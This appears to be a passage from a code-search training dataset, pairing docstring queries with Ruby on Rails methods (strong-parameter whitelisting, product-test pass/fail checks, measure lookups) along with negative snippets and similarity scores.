"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Only allow a list of trusted parameters through.
|
def seed_params
params.require(:seed).permit(:seedId, :name, :state, :growth, :drought, :soil, :salt)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def allowed_params\n ALLOWED_PARAMS\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end",
"def param_whitelist\n [:role, :title]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def allow_params_authentication!; end",
"def whitelisted_args\n args.select &:allowed\n end",
"def safe_list_sanitizer; end",
"def safe_list_sanitizer; end",
"def safe_list_sanitizer; end",
"def filtered_parameters; end",
"def sanitize_params_for user, params, allowed_params\n params.each do |key, val|\n #if allowed_params.include?(key)\n #sanitize!(user, params, key) if key =~ /_attributes|_ids$/\n #else\n #params.delete(key)\n #end\n params.delete(key) unless allowed_params.include?(key.to_sym)\n end\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def expected_permitted_parameter_names; end",
"def sanitize_parameters!(sanitizer, params)\n # replace :readwrite with :onlyif\n if params.has_key?(:readwrite)\n warn \":readwrite is deprecated. Replacing with :onlyif\"\n params[:onlyif] = params.delete(:readwrite)\n end\n\n # add default parameters\n bindata_default_parameters.each do |k,v|\n params[k] = v unless params.has_key?(k)\n end\n\n # ensure mandatory parameters exist\n bindata_mandatory_parameters.each do |prm|\n if not params.has_key?(prm)\n raise ArgumentError, \"parameter ':#{prm}' must be specified \" +\n \"in #{self}\"\n end\n end\n\n # ensure mutual exclusion\n bindata_mutually_exclusive_parameters.each do |param1, param2|\n if params.has_key?(param1) and params.has_key?(param2)\n raise ArgumentError, \"params #{param1} and #{param2} \" +\n \"are mutually exclusive\"\n end\n end\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def check_params; true; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def allowed?(*_)\n true\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end",
"def secure_params\n return @secure_params if @secure_params\n\n defn = implementation_class.definition\n field_list = [:master_id] + defn.field_list_array\n\n res = params.require(controller_name.singularize.to_sym).permit(field_list)\n res[implementation_class.external_id_attribute.to_sym] = nil if implementation_class.allow_to_generate_ids?\n @secure_params = res\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permit( params, whitelist, name = nil )\n raise 'Parametrization not yet configured' unless @configured\n whitelist ||= []\n px = params.respond_to?( :permit ) ? params : ActionController::Parameters.new( params )\n px = dig(px, name)\n px.permit( *whitelist )\n end",
"def valid_params?; end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def url_allowlist=(_arg0); end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def list_params\n params.permit(:list_name)\n end",
"def valid_params_request?; end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def param_list(param_type, name, type, required, description = nil, allowed_values = [], hash = {})\n hash.merge!({allowable_values: {value_type: \"LIST\", values: allowed_values}})\n param(param_type, name, type, required, description, hash)\n end",
"def safelists; end",
"def authorize_own_lists\n authorize_lists current_user.lists\n end",
"def listed_params\n params.permit(:listed, :list_id, :listable_id, :listable_type, :campsite_id)\n end",
"def lists_params\n params.require(:list).permit(:name)\n\n end",
"def list_params\n params.require(:list).permit(:name, :user_id)\n end",
"def list_params\n params.require(:list).permit(:name, :description, :type, :privacy, :allow_edit, :rating, :votes_count, :user_id)\n end",
"def check_params\n true\n end",
"def authorize_own_or_shared_lists\n authorize_lists current_user.all_lists\n end",
"def user_pref_list_params\n\t\tparams.require(:user).permit(:preference_list)\n\tend",
"def may_contain!(*keys)\n self.allow_only_permitted = true\n self.permitted_keys = [*permitted_keys, *keys].uniq\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def whitelist; end",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.permit(:name)\n end",
"def recipient_list_params\n params.require(:recipient_list).permit(:name, :list, :references)\n end",
"def cancan_parameter_sanitizer\n resource = controller_name.singularize.to_sym\n method = \"#{resource}_params\"\n params[resource] &&= send(method) if respond_to?(method, true)\n end",
"def list_params\n params.require(:list).permit(:name).merge(user_id: current_user.id)\n end",
"def whitelist_place_params\n params.require(:place).permit(:place_name, :unlock, :auth, :is_deep_checked, :parent_ADM4, :parent_ADM3, :parent_ADM2, :parent_ADM1, :parent_country, feature_code: [], same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end",
"def list_params\n params.fetch(:list, {}).permit(:user_id, :name, :active)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def secure_params(require_param, permit_keys)\n params.require(require_param).permit(*permit_keys)\n end",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def permitted_params\n []\n end",
"def price_list_params\n params.fetch(:price_list, {}).permit(:name, :valid_from, :valid_to, :active,\n :all_warehouses, :all_users, :all_contact_groups,\n warehouse_ids: [], price_lists_user_ids: [], contact_group_ids: [])\n end",
"def params(list)\n @declared_params = list\n end",
"def admin_review_params\n params.fetch(:review, {}).permit(whitelisted_params)\n end",
"def saved_list_params\n params.require(:saved_list).permit(:user_id)\n end",
"def allow(ids); end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def filter_params(param_set, **kwargs)\r\n begin\r\n key = kwargs[:key]\r\n params.require(key).permit(*param_set)\r\n rescue Exception\r\n params.permit(*param_set)\r\n end\r\n end",
"def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end",
"def validate_paramified_params\n self.class.paramify_methods.each do |method|\n params = send(method)\n transfer_errors_from(params, TermMapper.scope(params.group)) if !params.valid?\n end\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def secure_params\n return @secure_params if @secure_params\n\n @implementation_class = implementation_class\n resname = @implementation_class.name.ns_underscore.gsub('__', '_').singularize.to_sym\n @secure_params = params.require(resname).permit(*permitted_params)\n end",
"def refine_permitted_params(param_list)\n res = param_list.dup\n\n ms_keys = res.select { |a| columns_hash[a.to_s]&.array }\n ms_keys.each do |k|\n res.delete(k)\n res << { k => [] }\n end\n\n res\n end",
"def recipient_list_params\n params.require(:recipient_list).permit(:name, :description, recipient_id_array: [])\n end",
"def safelist; end",
"def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end",
"def valid_for_params_auth?; end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def shopping_list_params\n params.require(:shopping_list).permit!\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def permitters\n @_parametrizr_permitters || {}\n end",
"def allow_params(action, keys: nil, except: nil, &blk)\n keys &&= Array.wrap(keys)\n keys ||= User.field_names\n except &&= Array.wrap(except)\n except ||= %i[id email]\n devise_parameter_sanitizer.permit(action, keys: keys, except: except, &blk)\n end",
"def list_params\n if current_user && current_user.role == 'admin'\n params.require(:list).permit(:name, :url, :description, :user_id,\n ideas_attributes: [:id, :list_id, :body, :due_date, :completion_status, :_destroy])\n else\n params.require(:list).permit(:name, :description,\n ideas_attributes: [:body, :due_date, :completion_status]) \n end\n end",
"def whitelist(params)\n send_request_of_type(GlobalConstant::PrivateOpsApi.private_ops_api_type, 'post', '/token-sale/whitelist', params)\n end",
"def valid_access_params\n params.require(:valid_access).permit(:wish_list_id, :user_id)\n end",
"def url_allowlist; end",
"def ensure_redirected_params_are_safe!(passed_params)\n unless passed_params.is_a?(ActionController::Parameters) && passed_params.permitted?\n error_message = if passed_params.is_a?(ActionController::Parameters)\n unsafe_parameters = passed_params.send(:unpermitted_keys, params)\n \"[Rails::Prg] Error - Must use permitted strong parameters. Unsafe: #{unsafe_parameters.join(', ')}\"\n else\n \"[Rails::Prg] Error - Must pass strong parameters.\"\n end\n raise error_message\n end\n end",
"def data_collection_params\n allow = [:name,:description,:institution,:collection_name,:country_id,:province_id,:city_id]\n params.require(:data_collection).permit(allow)\n end",
"def quote_params\n params.permit!\n end"
] |
[
"0.69497335",
"0.6812623",
"0.6803639",
"0.6795365",
"0.67448795",
"0.67399913",
"0.6526815",
"0.6518771",
"0.64931697",
"0.6430388",
"0.6430388",
"0.6430388",
"0.63983387",
"0.6356042",
"0.63535863",
"0.63464934",
"0.63444513",
"0.6337208",
"0.6326454",
"0.6326454",
"0.6326454",
"0.63140553",
"0.6299814",
"0.62642586",
"0.626006",
"0.62578833",
"0.6236823",
"0.6227561",
"0.6221758",
"0.62200165",
"0.620879",
"0.61983657",
"0.6195055",
"0.6172993",
"0.6156856",
"0.61558664",
"0.61521494",
"0.6135789",
"0.6121145",
"0.61118174",
"0.60736513",
"0.6071645",
"0.60632104",
"0.60549796",
"0.6043906",
"0.6034662",
"0.60207325",
"0.6018568",
"0.6016575",
"0.60103434",
"0.60084206",
"0.600763",
"0.6007443",
"0.6003619",
"0.6003619",
"0.5995791",
"0.5993301",
"0.5993231",
"0.5984926",
"0.597122",
"0.5968121",
"0.5965808",
"0.59640145",
"0.59632224",
"0.59602356",
"0.59332967",
"0.5927556",
"0.5922805",
"0.5909745",
"0.5905083",
"0.5904304",
"0.5893434",
"0.58888215",
"0.58823985",
"0.58823985",
"0.58823985",
"0.5873434",
"0.58619875",
"0.58533794",
"0.5845531",
"0.58426666",
"0.58360124",
"0.583218",
"0.5828041",
"0.5827927",
"0.5816121",
"0.5814705",
"0.5812719",
"0.581121",
"0.5803423",
"0.5803423",
"0.57995003",
"0.5794207",
"0.5784923",
"0.5781365",
"0.5776385",
"0.5774859",
"0.57671493",
"0.5766998",
"0.57618684",
"0.5758038"
] |
0.0
|
-1
|
Returns true if this ProductTests most recent TestExecution is passing
|
def execution_state
return :pending if self.test_executions.empty?
self.test_executions.ordered_by_date.first.state
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def passing?\n return false if self.test_executions.empty?\n \n most_recent_execution = self.ordered_executions.first\n return !most_recent_execution.nil? && most_recent_execution.passing?\n end",
"def passing?\n return true if self.product_tests.empty?\n\n passing = self.product_tests.includes(:test_executions).select do |p|\n p.execution_state == :passed\n end\n passing.length == product_tests.length\n end",
"def test_result_new_success?(test_result)\n run_result = test_result.run_result\n test = test_result.test\n changed = run_result.change_events.where(test_id: test, value: Automation::Test::Change::TestStartedPassing.value).first\n\n !changed.nil?\n end",
"def failing?\n return false if self.product_tests.empty?\n failing = self.product_tests.includes(:test_executions).select do |p|\n p.execution_state == :failed\n end\n failing.length > 0\n end",
"def passed?\n return @test_passed\n end",
"def student_test_run_in_progress?\n buffer_time = Settings.autotest.student_test_buffer_minutes.minutes\n last_student_run = test_runs.where(role: self.accepted_students).first\n if last_student_run.nil? || # first test\n (last_student_run.created_at + buffer_time) < Time.current || # buffer time expired (for unhandled problems)\n !last_student_run.in_progress? # test results not back yet\n false\n else\n true\n end\n end",
"def passed?\n failures.empty?\n end",
"def passing_tests\n return self.product_tests.includes(:test_executions).select do |test|\n test.execution_state == :passed\n end\n end",
"def passed?\n results.each { |re| return false unless re[:passed] }\n true\n end",
"def passed?\n @report.passed?\n end",
"def passed?\n @report.passed?\n end",
"def attested_for?(date)\n last_attested_on && last_attested_on > date.to_time\n end",
"def external_test_runs_passed_for?(test_type)\n test_types = ExternalTestType.get(test_type).with_related_types\n current_runs = current_external_test_runs_for(test_types)\n current_runs.any? && current_runs.all?(&:passed_ok?)\n end",
"def flexmock_test_has_failed? # :nodoc:\n passed? == false\n end",
"def passed_tests\n self.tests.select do |test|\n test.status == 'passed'\n end\n end",
"def passing?\n completed? && !has_failures? && !has_errors?\n end",
"def evaluation_succeeded\n return @evaluation_succeeded\n end",
"def waits_for_actual_attestation?\n !index.final_exam_passed? &&\n !attested_for?(Attestation.actual_for_faculty(index.student.faculty))\n end",
"def passed?\n !failed?\n end",
"def passed_test?(event)\n event['event'] == 'test' && event['status'] == 'pass'\n end",
"def has_run?\n @passed != nil\n end",
"def test_result_changed_failure?(test_result)\n run_result = test_result.run_result\n test = test_result.test\n changed = run_result.change_events.where(test_id: test, value: Automation::Test::Change::TestChangedFailure.value).first\n\n !changed.nil?\n end",
"def users_first_run?\n test_file.test_runs(true) # Cache-busting\n test_file.test_runs.length == 1 && owner.test_files.select{|f| (f.id != test_file.id) && !f.test_runs.empty?}.blank? \n end",
"def failed?\n @passed == false\n end",
"def failed?\n latest_transaction.failed? unless transactions.empty?\n end",
"def passed?\n !failed?\n end",
"def was_successful?\n self.class.job_run_class.was_successful?(@job, @batch)\n end",
"def passed?\n counters\n .map { |c| c.ask!(:expected_messages_received?) }\n .reduce { |a, e| a && e }\n end",
"def failed_test?(event)\n event['event'] == 'test' && event['status'] == 'fail'\n end",
"def success?\n (@failures + @errors) == 0\n end",
"def active_trial?\n trial_end_date > Time.now ? true : false\n end",
"def tests_contain_failures?\n $?.exitstatus == PHPUNIT_FAILURES_EXITCODE\n end",
"def available_works?\n if prev.valid_tracking?\n prev.done > done\n else\n product_line_quantity > done\n end\n end",
"def job_running_past_expected_end_time?\n Time.zone.now > job_expected_end_time\n end",
"def failed?\n @failures && @failures.any?\n end",
"def new_expert?\n project_tasks.where(status: 'finished').count <= 1\n end",
"def last_phase?\n @finishing\n end",
"def failing_tests\n return self.product_tests.includes(:test_executions).select do |test|\n test.execution_state == :failed\n end\n end",
"def success?\n coverage.round(COVERAGE_PRECISION).eql?(config.expected_coverage.round(COVERAGE_PRECISION))\n end",
"def was_executed?\n execution_count > 0\n end",
"def passed?\n @passed == true\n end",
"def success?\n @succeeded\n end",
"def execution_attempted?\n @execution_attempted\n end",
"def completed?\n @step == @total_steps\n end",
"def failed?\n (scenarios_results.include?\"failed\") || (steps_results.include?\"failed\")\n end",
"def ran?\n completed? || failed?\n end",
"def up_to_date?\n return not_covered.count > 0 ? false : true\n end",
"def finished?\n persisted_attribute(:evaluation).present?\n end",
"def passed?\n @passed\n end",
"def alternate_test_procedure_type\n begin\n last_time_diagnosis_selected.obs_datetime > last_time_lab_order_selected.obs_datetime\n rescue StandardError\n return true if last_time_lab_order_selected.nil?\n end\n end",
"def on_over_trial_days?\n result = false\n if self.last_grade and self.grades.length >= self.trial_days_total\n result = true\n end\n return result\n end",
"def on_trial?\n trial_ends_at? && trial_ends_at > Time.current\n end",
"def success?\n @success ||= @tasks_results.all?(&:success?)\n end",
"def complete?\n passes = self.calls.last(3).select { |c| c.is_a?(Pass) }.size\n self.calls.size >= 4 and passes == 3\n end",
"def trial_over?\n unless self.trial_started_at.blank?\n return Time.now - APP_CONFIG['trial_length'].days > self.trial_started_at\n else\n return false\n end\n end",
"def complete?\n pending == failures && (child_count == 0 || child_count == @completed)\n end",
"def passed?\n return false unless invoked?\n return true if asserts.empty?\n asserts.map { |a| !!a[:value] }.uniq == [true]\n end",
"def tested?\n @tested\n end",
"def is_something_running\n @timestamps.each_value do |timestamp|\n return true if timestamp.fetch('is_running') == true\n end\n false\n end",
"def should_run?\n Time.zone.now - @info.last_sent - @config.delay_time >= @config.run_every\n end",
"def should_run?\n Time.zone.now - @info.last_sent - @config.delay_time >= @config.run_every\n end",
"def outdated?\n (Time.now - self.time_of_last_ok) > threshold_for_oldest_ok\n end",
"def passed?\n\t\t\t@passed\n\t\tend",
"def failing?\n completed? && has_failures? || has_errors?\n end",
"def failed?\n\t\tnot @failure.nil?\n\tend",
"def failed?\n\t\t\t\[email protected]?\n\t\t\tend",
"def test_product_status\n product = Product.new(vendor: @vendor, name: 'my product', c1_test: true, measure_ids: ['BE65090C-EB1F-11E7-8C3F-9A214CF093AE'], bundle_id: @bundle.id)\n product.save!\n product_test = product.product_tests.build({ name: 'my product test 1', measure_ids: ['BE65090C-EB1F-11E7-8C3F-9A214CF093AE'] }, MeasureTest)\n product_test.save!\n # status should be incomplete if all product tests passing but no checklist test exists\n product_test.tasks.first.test_executions.create!(state: :passed, user: @vendor_user)\n assert_equal 'incomplete', product.status\n\n # if product does not need to certify for c1, than product should pass\n product.update(c1_test: nil, c2_test: true)\n assert_equal 'passing', product.status\n product.update(c1_test: true, c2_test: nil)\n\n # adding a complete checklist test will make product pass\n create_complete_checklist_test_for_product(product, product.measure_ids.first)\n assert_equal 'passing', product.status\n\n # one failing product test will fail the product\n product_test = product.product_tests.build({ name: 'my product test 2', measure_ids: ['BE65090C-EB1F-11E7-8C3F-9A214CF093AE'] }, MeasureTest)\n product_test.save!\n te = product_test.tasks.first.test_executions.build(state: :failed)\n @vendor_user.test_executions << te\n te.save!\n assert_equal 'failing', product.status\n end",
"def failure_has_occurred?\r\n @failure_has_occurred = true\r\n end",
"def trial?\n @receipts.last.is_trial_period\n end",
"def finished?\n @round_counter >= @croupier.rules[:rounds]\n end",
"def tasks_are_successful?\n return true if @tasks_are_successful\n return false if @tasks_have_failed\n successful = all? do |task|\n task.successful?\n end\n if successful\n debug 'All tasks are successful'\n @tasks_are_successful = true\n end\n successful\n end",
"def has_failures?\n completed? && @raw_result['failures'] != '0'\n end",
"def first_pipeline_failure?\n auto_devops_pipelines.success.limit(1).count.zero? &&\n auto_devops_pipelines.failed.limit(1).count.nonzero?\n end",
"def is_finished\n\t\tif self.completed_at \n\t\t\ttrue\n\t\telse\n\t\t\tfalse\n\t\tend\n\tend",
"def finished?\n failed? or successful? or skipped?\n end",
"def getCompleted\n if @dry_run\n nil\n else\n JSON.parse(@client[\"/LoadTest?loadTestId=#{@test_id}\"].get)[0].to_h['completed_time']\n end\n end",
"def finished?\n @step == @total_steps + 1\n end",
"def count_passing\n return self.passing_tests.size\n end",
"def last_build_state\n super || (read_attribute(:last_build_result) == 0 ? :passed : :failed)\n end",
"def success?\n checks.all?(&:success?)\n end",
"def failed?\n @is_failed\n end",
"def finished\n @finished.to_s == 'true'\n end",
"def count_failing\n return self.failing_tests.size\n end",
"def valid_test_taking()\n if current_user.tenant.pricing_plan.plan_group == \"assessment_only_plan\" then\n if current_user.tenant.remaining_learner_credit > 0 then\n return true\n else\n return false\n end\n else\n return true\n end\n end",
"def completed?\n \t\tlatest_transaction.completed? unless transactions.empty?\n \tend",
"def latest?\n revision == latest_revision\n end",
"def doGreedy? forceValidation\r\n\t\tif ! @trainTestStruct.equalTestSetAndResults?\r\n\t\t\tif ! forceValidation\r\n\t\t\t\treturn false\r\n\t\t\telse\r\n\t\t\t\tdoValidation \r\n\t\t\tend\r\n\t\tend\r\n\t\ttrue\r\n\tend",
"def isFinished\n progressValue.isEqualToNumber(numberOfSteps)\n end",
"def failure?\n !successful?\n end",
"def success?\n got.equal?(true)\n end",
"def has_passed?\n\t\tTime.zone.at(starttime) < Time.zone.now\n\tend",
"def finished?\n finished_at.present? && retried_good_job_id.nil?\n end",
"def finished?\n self.completed? || self.failed?\n end",
"def processing?\n self.result_payload(true).has_key?('started_at') && !self.result_payload(true).has_key?('finished_at')\n end",
"def order_summary_failed?\n return false unless rejected?\n return true if self.EventLog =~ /Validering av summer feilet/\n false\n end",
"def failed?\n !succeeded? && !in_progress?\n end",
"def executed?\r\n @executed\r\n end",
"def failed?\n !succeeded? && !in_progress?\n end",
"def expired_execution?\n @report_errors.each do |err|\n if err =~ /execution expired$/\n return true\n end\n end\n return false\n end",
"def completed?\n @state.to_s =~ /finished|aborted|failed/\n end",
"def finished?\n return false unless self.started?\n return true if self.finished\n return ( self.finished_at.time <= Time.now )\n end"
] |
[
"0.83545655",
"0.7890957",
"0.7351292",
"0.7189185",
"0.7155273",
"0.69287205",
"0.68352056",
"0.67664975",
"0.6498606",
"0.6492435",
"0.6492435",
"0.64514446",
"0.64229506",
"0.6317564",
"0.63038856",
"0.6299814",
"0.6299045",
"0.62847626",
"0.626609",
"0.626478",
"0.62489796",
"0.6235177",
"0.6231963",
"0.61955106",
"0.61912185",
"0.61394536",
"0.6138819",
"0.6134534",
"0.61332655",
"0.6119622",
"0.6104311",
"0.6096696",
"0.6096635",
"0.609016",
"0.6074958",
"0.6066408",
"0.6064598",
"0.6053113",
"0.6048591",
"0.6028336",
"0.60077286",
"0.60060906",
"0.6000398",
"0.59994054",
"0.59982294",
"0.5997855",
"0.59911114",
"0.5982818",
"0.5960874",
"0.592444",
"0.59231734",
"0.59173155",
"0.59149516",
"0.59019405",
"0.5896257",
"0.5895437",
"0.5893898",
"0.5890739",
"0.5887126",
"0.58834845",
"0.5878404",
"0.5857259",
"0.5856613",
"0.5852645",
"0.5848758",
"0.5845899",
"0.5842703",
"0.5839832",
"0.583331",
"0.5829425",
"0.58284265",
"0.5827737",
"0.5825692",
"0.5814227",
"0.5812184",
"0.58120596",
"0.58048147",
"0.5802804",
"0.5795218",
"0.5791881",
"0.5791447",
"0.5785086",
"0.5772632",
"0.5772237",
"0.57632077",
"0.57539064",
"0.5751154",
"0.57409865",
"0.5740956",
"0.5737357",
"0.5736729",
"0.5730421",
"0.57274604",
"0.5714276",
"0.57112634",
"0.570956",
"0.5709527",
"0.5701494",
"0.57008624",
"0.56938636",
"0.5692203"
] |
0.0
|
-1
|
Return all measures that are selected for this particular ProductTest
|
def measures
return [] if !measure_ids
self.bundle.measures.in(:hqmf_id => measure_ids).order_by([[:hqmf_id, :asc],[:sub_id, :asc]])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def select *selection\n @measures.merge! paramerize(selection, VALID_MEASURES, 'Invalid measurement selection')\n self\n end",
"def list_measures\n exec_req_and_parse_response \"/measure/list\"\n end",
"def useful_measures_by_measure_type(validation_id)\n validation = Validation.find(validation_id)\n if validation.measure_type == 'discrete'\n measure_ids.select { |id| HealthDataStandards::CQM::Measure.find_by(_id: id).continuous_variable == false }\n elsif validation.measure_type == 'continuous'\n measure_ids.select { |id| HealthDataStandards::CQM::Measure.find_by(_id: id).continuous_variable == true }\n else\n measure_ids\n end\n end",
"def measure_defs\n return [] if !measure_ids\n \n self.measure_ids.collect do |measure_id|\n Measure.where(id: measure_id).order_by([[:sub_id, :asc]]).all()\n end.flatten\n end",
"def get_all_valuesets_for_dc(measure_id)\n measure = Measure.find_by(_id: measure_id)\n measure.reload\n arr = []\n # if criteria is a characteristic, only return a single valueset\n if source_data_criteria.qdmCategory == 'patient_characteristic'\n arr << source_data_criteria.codeListId\n else\n valuesets = measure.source_data_criteria.map { |data_criteria| include_valueset(data_criteria, source_data_criteria) }\n valuesets.uniq.each do |valueset|\n arr << valueset unless valueset.nil?\n end\n end\n arr\n end",
"def measure_selected(measure_id, selected_measures)\n if selected_measures.any? {|measure| measure['id'] == measure_id}\n 'checked'\n else\n nil\n end\n end",
"def measure_selected(measure_id, selected_measures)\n is_selected?(measure_id, selected_measures) ? 'checked' : nil\n end",
"def measure_selected(measure_id, selected_measures)\n is_selected?(measure_id, selected_measures) ? 'checked' : nil\n end",
"def index\n @measures = current_user.measures\n end",
"def selected_units\n SQF.groupSelectedUnits @this\n end",
